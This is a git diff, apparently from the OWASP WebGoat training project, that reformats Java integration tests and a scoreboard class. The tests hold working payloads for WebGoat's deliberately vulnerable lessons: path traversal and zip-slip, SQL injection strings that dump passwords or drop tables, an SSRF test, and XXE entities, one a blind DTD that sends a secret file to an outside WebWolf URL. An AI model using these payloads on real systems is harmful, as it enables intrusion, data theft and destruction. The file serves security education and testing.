|
||||
private void assignment2() throws IOException {
|
||||
@ -75,7 +74,9 @@ class PathTraversalIT extends IntegrationTest {
|
||||
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment3() throws IOException {
|
||||
@ -84,16 +85,22 @@ class PathTraversalIT extends IntegrationTest {
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
||||
.multiPart(
|
||||
"uploadedFileRemoveUserInput",
|
||||
"../test.jpg",
|
||||
Files.readAllBytes(fileToUpload.toPath()))
|
||||
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment4() throws IOException {
|
||||
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
|
||||
RestAssured.given().urlEncodingEnabled(false)
|
||||
RestAssured.given()
|
||||
.urlEncodingEnabled(false)
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
@ -102,13 +109,16 @@ class PathTraversalIT extends IntegrationTest {
|
||||
.statusCode(200)
|
||||
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
|
||||
|
||||
checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
|
||||
Sha512DigestUtils.shaHex(this.getUser())), true);
|
||||
checkAssignment(
|
||||
url("/WebGoat/PathTraversal/random"),
|
||||
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
|
||||
true);
|
||||
}
|
||||
|
||||
private void assignment5() throws IOException {
|
||||
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
|
||||
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
|
||||
webGoatHome =
|
||||
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
|
||||
|
||||
var webGoatDirectory = new File(webGoatHome);
|
||||
var zipFile = new File(tempDir.toFile(), "upload.zip");
|
||||
@ -126,12 +136,15 @@ class PathTraversalIT extends IntegrationTest {
|
||||
.post(url("/WebGoat/PathTraversal/zip-slip"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
void shutdown() {
|
||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
||||
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||
// lesson is marked complete
|
||||
checkResults("/PathTraversal");
|
||||
}
|
||||
}
|
||||
|
@ -2,10 +2,6 @@ package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.response.Response;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.Callable;
|
||||
@ -14,6 +10,8 @@ import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.IntStream;
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
||||
|
||||
@ -23,31 +21,37 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
||||
int NUMBER_OF_PARALLEL_THREADS = 5;
|
||||
startLesson("Challenge1");
|
||||
|
||||
Callable<Response> call = () -> {
|
||||
//System.out.println("thread "+Thread.currentThread().getName());
|
||||
Callable<Response> call =
|
||||
() -> {
|
||||
// System.out.println("thread "+Thread.currentThread().getName());
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(Map.of("flag", "test"))
|
||||
.post(url("/challenge/flag/"));
|
||||
|
||||
};
|
||||
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
|
||||
List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
|
||||
List<? extends Callable<Response>> flagCalls =
|
||||
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
|
||||
var responses = executorService.invokeAll(flagCalls);
|
||||
|
||||
//A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
||||
long countStatusCode500 = responses.stream().filter(r -> {
|
||||
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
||||
long countStatusCode500 =
|
||||
responses.stream()
|
||||
.filter(
|
||||
r -> {
|
||||
try {
|
||||
//System.err.println(r.get().getStatusCode());
|
||||
// System.err.println(r.get().getStatusCode());
|
||||
return r.get().getStatusCode() != 200;
|
||||
} catch (InterruptedException | ExecutionException e) {
|
||||
//System.err.println(e);
|
||||
// System.err.println(e);
|
||||
throw new IllegalStateException(e);
|
||||
}
|
||||
}).count();
|
||||
System.err.println("counted status 500: "+countStatusCode500);
|
||||
Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
|
||||
})
|
||||
.count();
|
||||
System.err.println("counted status 500: " + countStatusCode500);
|
||||
Assertions.assertThat(countStatusCode500)
|
||||
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
|
||||
}
|
||||
}
|
||||
|
@ -3,7 +3,6 @@ package org.owasp.webgoat;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SSRFIntegrationTest extends IntegrationTest {
|
||||
@ -16,15 +15,12 @@ public class SSRFIntegrationTest extends IntegrationTest {
|
||||
params.clear();
|
||||
params.put("url", "images/jerry.png");
|
||||
|
||||
checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
|
||||
checkAssignment(url("/WebGoat/SSRF/task1"), params, true);
|
||||
params.clear();
|
||||
params.put("url", "http://ifconfig.pro");
|
||||
|
||||
checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
|
||||
checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
|
||||
|
||||
checkResults("/SSRF/");
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
@ -24,24 +24,22 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
class SessionManagementIT extends IntegrationTest {
|
||||
|
||||
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
|
||||
|
||||
|
||||
@Test
|
||||
void hijackSessionTest() {
|
||||
startLesson("HijackSession");
|
||||
|
||||
checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
|
||||
checkAssignment(
|
||||
url(HIJACK_LOGIN_CONTEXT_PATH),
|
||||
Map.of("username", "webgoat", "password", "webgoat"),
|
||||
false);
|
||||
}
|
||||
}
|
||||
|
@ -2,7 +2,6 @@ package org.owasp.webgoat;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
||||
@ -29,7 +28,10 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
|
||||
params.put(
|
||||
"userid_6a",
|
||||
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
|
||||
+ " user_system_data --");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
@ -37,11 +39,21 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
|
||||
params.put(
|
||||
"question_0_solution",
|
||||
"Solution 4: A statement has got values instead of a prepared statement");
|
||||
params.put("question_1_solution", "Solution 3: ?");
|
||||
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
|
||||
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
|
||||
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
||||
params.put(
|
||||
"question_2_solution",
|
||||
"Solution 2: Prepared statements are compiled once by the database management system"
|
||||
+ " waiting for input and are pre-compiled this way.");
|
||||
params.put(
|
||||
"question_3_solution",
|
||||
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
|
||||
+ " resulting in a seperation of code and data.");
|
||||
params.put(
|
||||
"question_4_solution",
|
||||
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
|
||||
|
||||
checkResults("/SqlInjectionAdvanced/");
|
||||
|
@ -2,13 +2,13 @@ package org.owasp.webgoat;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
public static final String sql_2 = "select department from employees where last_name='Franco'";
|
||||
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
|
||||
public static final String sql_3 =
|
||||
"update employees set department='Sales' where last_name='Barnett'";
|
||||
public static final String sql_4_drop = "alter table employees drop column phone";
|
||||
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
|
||||
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
|
||||
@ -22,7 +22,8 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
||||
public static final String sql_11_b = "3SL99A' or '1'='1";
|
||||
|
||||
public static final String sql_12_a = "Smith";
|
||||
public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
|
||||
public static final String sql_12_b =
|
||||
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
|
||||
|
||||
public static final String sql_13 = "%update% '; drop table access_log ; --'";
|
||||
|
||||
@ -73,6 +74,5 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
|
||||
|
||||
checkResults("/SqlInjection/");
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -1,15 +1,13 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
|
||||
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
@ -27,39 +25,56 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
||||
params.put("field7", "prep.setString(2,\\\"\\\")");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
|
||||
|
||||
params.put("editor", "try {\r\n" +
|
||||
" Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
|
||||
" PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
|
||||
" prep.setString(1,\"me\");\r\n" +
|
||||
" prep.execute();\r\n" +
|
||||
" System.out.println(conn); //should output 'null'\r\n" +
|
||||
"} catch (Exception e) {\r\n" +
|
||||
" System.out.println(\"Oops. Something went wrong!\");\r\n" +
|
||||
"}");
|
||||
params.put(
|
||||
"editor",
|
||||
"try {\r\n"
|
||||
+ " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
|
||||
+ " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
|
||||
+ " = ?\");\r\n"
|
||||
+ " prep.setString(1,\"me\");\r\n"
|
||||
+ " prep.execute();\r\n"
|
||||
+ " System.out.println(conn); //should output 'null'\r\n"
|
||||
+ "} catch (Exception e) {\r\n"
|
||||
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
|
||||
+ "}");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
|
||||
params.put(
|
||||
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
|
||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
|
||||
params.put(
|
||||
"userid_sql_only_input_validation_on_keywords",
|
||||
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
|
||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
|
||||
|
||||
RestAssured.given()
|
||||
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
|
||||
.get(
|
||||
url(
|
||||
"/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
|
||||
+ " else id end)"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
RestAssured.given()
|
||||
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
|
||||
.then()
|
||||
.statusCode(500)
|
||||
.body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
|
||||
.body(
|
||||
"trace",
|
||||
containsString(
|
||||
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
|
||||
+ " 'out of order' order by"));
|
||||
|
||||
params.clear();
|
||||
params.put("ip", "104.130.219.202");
|
||||
|
@ -2,41 +2,46 @@ package org.owasp.webgoat;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
|
||||
public class WebWolfIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("WebWolfIntroduction");
|
||||
|
||||
//Assignment 3
|
||||
// Assignment 3
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("email", this.getUser()+"@webgoat.org");
|
||||
params.put("email", this.getUser() + "@webgoat.org");
|
||||
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
|
||||
|
||||
String responseBody = RestAssured.given()
|
||||
String responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/mail"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
|
||||
String uniqueCode = responseBody.replace("%20", " ");
|
||||
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
|
||||
uniqueCode =
|
||||
uniqueCode.substring(
|
||||
21 + uniqueCode.lastIndexOf("your unique code is: "),
|
||||
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
|
||||
params.clear();
|
||||
params.put("uniqueCode", uniqueCode);
|
||||
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
|
||||
|
||||
//Assignment 4
|
||||
// Assignment 4
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
@ -53,20 +58,22 @@ public class WebWolfIntegrationTest extends IntegrationTest {
|
||||
.get(webWolfUrl("/landing"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
responseBody = RestAssured.given()
|
||||
responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/requests"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
assertTrue(responseBody.contains(uniqueCode));
|
||||
params.clear();
|
||||
params.put("uniqueCode", uniqueCode);
|
||||
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
|
||||
|
||||
checkResults("/WebWolf");
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -1,15 +1,12 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class XSSIntegrationTest extends IntegrationTest {
|
||||
|
||||
|
||||
@Test
|
||||
public void crossSiteScriptingAssignments() {
|
||||
startLesson("CrossSiteScripting");
|
||||
@ -47,7 +44,8 @@ public class XSSIntegrationTest extends IntegrationTest {
|
||||
.post(url("/CrossSiteScripting/phone-home-xss"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("output");
|
||||
.extract()
|
||||
.path("output");
|
||||
String secretNumber = result.substring("phoneHome Response is ".length());
|
||||
|
||||
params.clear();
|
||||
@ -55,14 +53,28 @@ public class XSSIntegrationTest extends IntegrationTest {
|
||||
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
|
||||
params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
|
||||
params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
|
||||
params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
|
||||
params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
|
||||
params.put(
|
||||
"question_0_solution",
|
||||
"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
|
||||
+ " the browser does not know that the script is malicious.");
|
||||
params.put(
|
||||
"question_1_solution",
|
||||
"Solution 3: The data is included in dynamic content that is sent to a web user without"
|
||||
+ " being validated for malicious content.");
|
||||
params.put(
|
||||
"question_2_solution",
|
||||
"Solution 1: The script is permanently stored on the server and the victim gets the"
|
||||
+ " malicious script when requesting information from the server.");
|
||||
params.put(
|
||||
"question_3_solution",
|
||||
"Solution 2: They reflect the injected script off the web server. That occurs when input"
|
||||
+ " sent to the web server is part of the request.");
|
||||
params.put(
|
||||
"question_4_solution",
|
||||
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
|
||||
+ " the browser executes.");
|
||||
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
|
||||
|
||||
checkResults("/CrossSiteScripting/");
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -2,23 +2,30 @@ package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class XXEIntegrationTest extends IntegrationTest {
|
||||
|
||||
private static final String xxe3 = """
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
||||
private static final String xxe4 = """
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
||||
private static final String dtd7 = """
|
||||
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
|
||||
private static final String xxe7 = """
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
|
||||
private static final String xxe3 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||
""";
|
||||
private static final String xxe4 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||
""";
|
||||
private static final String dtd7 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
|
||||
""";
|
||||
private static final String xxe7 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||
""";
|
||||
|
||||
private String webGoatHomeDirectory;
|
||||
private String webWolfFileServerLocation;
|
||||
@ -40,7 +47,11 @@ public class XXEIntegrationTest extends IntegrationTest {
|
||||
.statusCode(200);
|
||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
|
||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
|
||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
|
||||
checkAssignment(
|
||||
url("/WebGoat/xxe/blind"),
|
||||
ContentType.XML,
|
||||
"<comment><text>" + getSecret() + "</text></comment>",
|
||||
false);
|
||||
}
|
||||
|
||||
/**
|
||||
@ -50,15 +61,16 @@ public class XXEIntegrationTest extends IntegrationTest {
|
||||
* @throws IOException
|
||||
*/
|
||||
private String getSecret() throws IOException {
|
||||
//remove any left over DTD
|
||||
// remove any left over DTD
|
||||
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
|
||||
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
|
||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
|
||||
}
|
||||
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
|
||||
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
||||
String dtd7String =
|
||||
dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
||||
|
||||
//upload DTD
|
||||
// upload DTD
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
@ -66,22 +78,33 @@ public class XXEIntegrationTest extends IntegrationTest {
|
||||
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
||||
.post(webWolfUrl("/fileupload"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
//upload attack
|
||||
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
// upload attack
|
||||
String xxe7String =
|
||||
xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
|
||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
|
||||
|
||||
//read results from WebWolf
|
||||
String result = RestAssured.given()
|
||||
// read results from WebWolf
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/requests"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
result = result.replace("%20", " ");
|
||||
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
|
||||
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
||||
result =
|
||||
result.substring(
|
||||
result.lastIndexOf("WebGoat 8.0 rocks... ("),
|
||||
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
@ -93,7 +116,11 @@ public class XXEIntegrationTest extends IntegrationTest {
|
||||
webWolfFileServerLocation = getWebWolfFileServerLocation();
|
||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
|
||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
|
||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
|
||||
checkAssignment(
|
||||
url("/WebGoat/xxe/blind"),
|
||||
ContentType.XML,
|
||||
"<comment><text>" + getSecret() + "</text></comment>",
|
||||
true);
|
||||
checkResults("xxe/");
|
||||
}
|
||||
}
|
||||
|
@ -1,8 +1,8 @@
|
||||
package org.owasp.webgoat.container.users;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Optional;
|
||||
import java.util.stream.Collectors;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.container.i18n.PluginMessages;
|
||||
@ -35,19 +35,15 @@ public class Scoreboard {
|
||||
|
||||
@GetMapping("/scoreboard-data")
|
||||
public List<Ranking> getRankings() {
|
||||
List<WebGoatUser> allUsers = userRepository.findAll();
|
||||
List<Ranking> rankings = new ArrayList<>();
|
||||
for (WebGoatUser user : allUsers) {
|
||||
if (user.getUsername().startsWith("csrf-")) {
|
||||
// the csrf- assignment specific users do not need to be in the overview
|
||||
continue;
|
||||
}
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
|
||||
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
||||
}
|
||||
/* sort on number of captured flags to present an ordered ranking */
|
||||
rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
|
||||
return rankings;
|
||||
return userRepository.findAll().stream()
|
||||
.filter(user -> !user.getUsername().startsWith("csrf-"))
|
||||
.map(
|
||||
user ->
|
||||
new Ranking(
|
||||
user.getUsername(),
|
||||
challengesSolved(userTrackerRepository.findByUser(user.getUsername()))))
|
||||
.sorted((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size())
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private List<String> challengesSolved(UserTracker userTracker) {
|
||||
|
@ -22,7 +22,12 @@
|
||||
|
||||
package org.owasp.webgoat.lessons.jwt;
|
||||
|
||||
import io.jsonwebtoken.*;
|
||||
import io.jsonwebtoken.Claims;
|
||||
import io.jsonwebtoken.JwsHeader;
|
||||
import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.JwtException;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import io.jsonwebtoken.SigningKeyResolverAdapter;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import java.sql.ResultSet;
|
||||
import java.sql.SQLException;
|
||||
